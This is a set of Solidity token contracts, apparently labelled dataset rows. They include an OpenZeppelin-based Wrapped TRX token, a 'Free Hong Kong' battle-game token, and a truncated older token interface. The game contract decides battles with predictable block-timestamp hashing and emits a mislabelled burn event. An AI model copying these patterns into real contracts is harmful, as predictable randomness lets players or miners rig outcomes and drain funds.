this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract WTRXERC20 is ERC20("Wrapped TRX", "WTRX"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
/*
GREETINGS!
Testing the ability of smart contract platforms to withstand censorship is vital and we have seen a few recent experiments on that on smaller and more recent chains.
But what about ethereum? Can the grandfather itself stand up to the same test, its passionate proponents are eager to dole out to others?
There is no better way to answer the question than to test it out.
This is an experimental game at best and an experimental test at worst. Beyond that it is what you imagine it to be.
We salute people across the ages and across the world who have fought for freedom and sometimes have given up their lives to do so.
.---.
___ /_____\
/\.-`( '.' )
/ / \_-_/_
\ `-.-"`'V'//-.
`.__, |// , \
|Ll //Ll|\ \
|__// | \_\
/---|[]==| / /
\__/ | \/\/
/_ | Ll_\|
|`^"""^`|
| | |
| | |
| | |
| | |
L___l___J
|_ | _|
(___|___)
^^^ ^^^
***** GAME MECHANICS *****
There is no website or group. No support. This is your battle. You will have to fight it alone.
The year is 2050 and Hong Kong has fallen into the brutal hands of the CCP. There is no freedom, hope has been extinguished, history has been erased.
Enter you!
Hong Kong is now split into 200 districts, all in the hands of the CCP.
You have the power to free one district by minting one of the 200 available tokens. Minting is free. Interface with the smart contract directly to do so.
One address can mint only once after which the CCP notices you and stops you on your tracks. You can trade your district token or send it to another address just like any other ERC20.
You also know that CCP sensing a potential threat, is using its agents to create fake 'free' districts by minting tokens too. So from your perspective any of the other minted tokens can be CCP lands.
You can use your district to wage a battle against other districts. Do this by sending a 0 token transaction to any of other token holding addresses.
There is a 50% chance of you winning. If you win the battle you will gain 1/4th of your token holding as a newly minted 'free' sub district.
If you lose, you lose 50% of your token holding, that's send to '0' address by the contract. The 0 address is controlled by UN, which is trying to navigate the politically charged waters carefully.
Once in 20 such battles (1/20 chance) that UN will end up giving up half of it's tokens to you as a reward for your battles while sending the other half to the CCP (!!).
The tokens that are send to the CCP ceases to be Hong Kong and are permanently burnt from the cap of 200 districts.
Hong Kong is therefore an increasingly smaller land. Free it before it falls permanently and loses the only beacon of hope, that's you.
***** END *****
*/
pragma solidity ^0.5.15;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Free_Hong_Kong is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint8) private _minted;
event Mint(address account, uint256 amount, string text);
uint256 private _totalSupply;
uint256 private _maxSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "FREE HONG KONG";
_symbol = "FREEHK";
_decimals = 18;
_totalSupply = 0;
_maxSupply = (200 * (10**18));
}
function maxSupply() external view returns (uint256) {
return _maxSupply;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transferFrom(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "IERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "IERC20: decreased allowance below zero"));
return true;
}
function mint() public returns (bool) {
require(_minted[msg.sender] == 0, "IERC20: this address has already minted FREEHK");
_mint(msg.sender, 10**18);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "IERC20: transfer from burn address");
require(recipient != address(0), "IERC20: transfer to burn address");
_balances[sender] = _balances[sender].sub(amount, "IERC20: transfer exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _transfer(address recipient, uint256 amount) internal {
require(recipient != address(0), "IERC20: transfer to burn address");
uint battle_result = uint(keccak256(abi.encodePacked(msg.sender,recipient,amount,now))).mod(2);
uint battle_lottery = uint(keccak256(abi.encodePacked(recipient,amount,now))).mod(10);
if (amount == 0 && _balances[recipient] > 0){
if (battle_result > 0){
_burn(msg.sender, _balances[msg.sender].div(2));
}
else {
_mint(msg.sender, _balances[msg.sender].div(4));
if (battle_lottery < 1 && _balances[address(0)] > 0) {
uint battle_bonus = _balances[address(0)].div(2);
_balances[address(0)] = 0;
_maxSupply = _maxSupply.sub(battle_bonus);
_totalSupply = _totalSupply.sub(battle_bonus);
_balances[msg.sender] = _balances[msg.sender].add(battle_bonus);
emit Transfer(address(0), msg.sender, battle_bonus);
}
}
}
else{
_transferFrom(msg.sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal {
require(_totalSupply < _maxSupply, "IERC20: all 200 districts have already been minted");
require(account != address(0), "IERC20: mint to burn address");
_totalSupply = _totalSupply.add(amount);
_minted[account] = 1;
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount > 0);
_balances[account] = _balances[account].sub(amount);
_balances[address(0)] = _balances[address(0)].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "IERC20: approval to burn address");
require(spender != address(0), "IERC20: approval from burn address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function () external payable {
revert();
}
} | True | [
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pragma solidity ^0.4.16;
pragma solidity ^0.4.16;
pragma solidity ^0.4.16;
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () constant returns (uint256 supply);
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) constant returns (uint256 balance);
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value) returns (bool success);
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success);
/**
